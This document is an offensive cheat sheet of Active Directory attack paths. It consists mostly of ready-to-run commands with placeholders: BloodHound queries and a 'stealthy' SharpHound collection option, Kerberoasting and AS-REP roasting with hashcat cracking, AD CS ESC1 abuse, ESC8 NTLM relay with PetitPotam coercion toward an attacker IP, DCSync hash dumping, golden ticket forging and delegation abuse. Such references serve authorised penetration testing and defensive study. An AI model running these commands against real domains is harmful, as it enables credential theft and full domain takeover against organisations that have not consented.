# Active Directory Attack Paths — Deep Reference

## BloodHound Queries (Cypher)

### High-Value Paths
```cypher
# Shortest path to Domain Admin
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@<DOMAIN>"}))
WHERE NOT u.name STARTS WITH "KRBTGT" RETURN p

# Kerberoastable users with admin rights
MATCH (u:User {hasspn:true})-[:MemberOf*1..]->(g:Group)-[:AdminTo]->(c:Computer)
RETURN u.name, g.name, c.name

# Users with DCSync rights
MATCH (u)-[:MemberOf*1..]->(g:Group)-[r:GetChanges|GetChangesAll]->(d:Domain)
RETURN u.name, g.name, r.isacl

# AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.description

# Unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

# ADCS ESC1 — vulnerable certificate templates
MATCH (t:GPO)-[:HasCertificateTemplate]->(ct)
WHERE ct.enrolleesuppliessubject = true
RETURN ct.name, t.name
```

### SharpHound Collection

```bash
# All collection methods (noisy)
SharpHound.exe -c All --outputdirectory C:\temp

# Stealthy collection (no session enum)
SharpHound.exe -c DCOnly --outputdirectory C:\temp

# From Linux with BloodHound.py
bloodhound-python -d <DOMAIN> -u <USER> -p <PASS> -ns <DC_IP> -c all
```

## Kerberos Attack Reference

### Service Principal Names (SPNs)
```bash
# Enumerate SPNs
impacket-GetUserSPNs <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP>

# Request TGS for specific SPN
impacket-GetUserSPNs <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP> -request -outputfile kerberoast.txt

# Rubeus (from Windows)
Rubeus.exe kerberoast /outfile:kerberoast.txt
Rubeus.exe kerberoast /user:<TARGET_USER> /outfile:kerberoast.txt
```

### Hashcat Modes for Kerberos
| Hash Type | Mode | Example |
|-----------|------|---------|
| Kerberoast (RC4) | 13100 | `$krb5tgs$23$*...` |
| Kerberoast (AES256) | 19700 | `$krb5tgs$18$*...` |
| AS-REP Roast | 18200 | `$krb5asrep$23$...` |

```bash
# Crack kerberoast hashes
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

# Crack AS-REP hashes
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

## AD CS (Active Directory Certificate Services)

### ESC1 — Enrollee Supplies Subject
```bash
# Find vulnerable templates
certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC_IP> -vulnerable

# Request cert with arbitrary SAN
certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA_NAME> -template <TEMPLATE> \
  -upn administrator@<DOMAIN> -dc-ip <DC_IP>

# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
```

### ESC8 — NTLM Relay to ADCS HTTP Enrollment
```bash
# Set up relay
ntlmrelayx.py -t http://<CA_HOST>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Coerce authentication
PetitPotam.py <ATTACKER_IP> <DC_IP>
```

## DCSync Attack Chain

```bash
# Full DCSync (all hashes)
impacket-secretsdump <DOMAIN>/<ADMIN>:<PASS>@<DC_IP> -just-dc

# DCSync specific user
impacket-secretsdump <DOMAIN>/<ADMIN>:<PASS>@<DC_IP> -just-dc-user krbtgt

# From Mimikatz
lsadump::dcsync /domain:<DOMAIN> /user:krbtgt
lsadump::dcsync /domain:<DOMAIN> /all /csv
```

## Golden Ticket

```bash
# Create Golden Ticket (Mimikatz)
kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<DOMAIN_SID> /krbtgt:<NTLM_HASH> /ptt

# Create Golden Ticket (Impacket)
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid <SID> -domain <DOMAIN> Administrator

# Use Golden Ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec <DOMAIN>/Administrator@<DC_HOSTNAME> -k -no-pass
```

## Constrained Delegation Abuse

```bash
# S4U2self + S4U2proxy
impacket-getST -spn <TARGET_SPN> -impersonate Administrator <DOMAIN>/<SERVICE_ACCOUNT>:<PASS>

# Use the resulting ticket
export KRB5CCNAME=Administrator.ccache
impacket-smbexec -k -no-pass <DOMAIN>/Administrator@<TARGET>
```
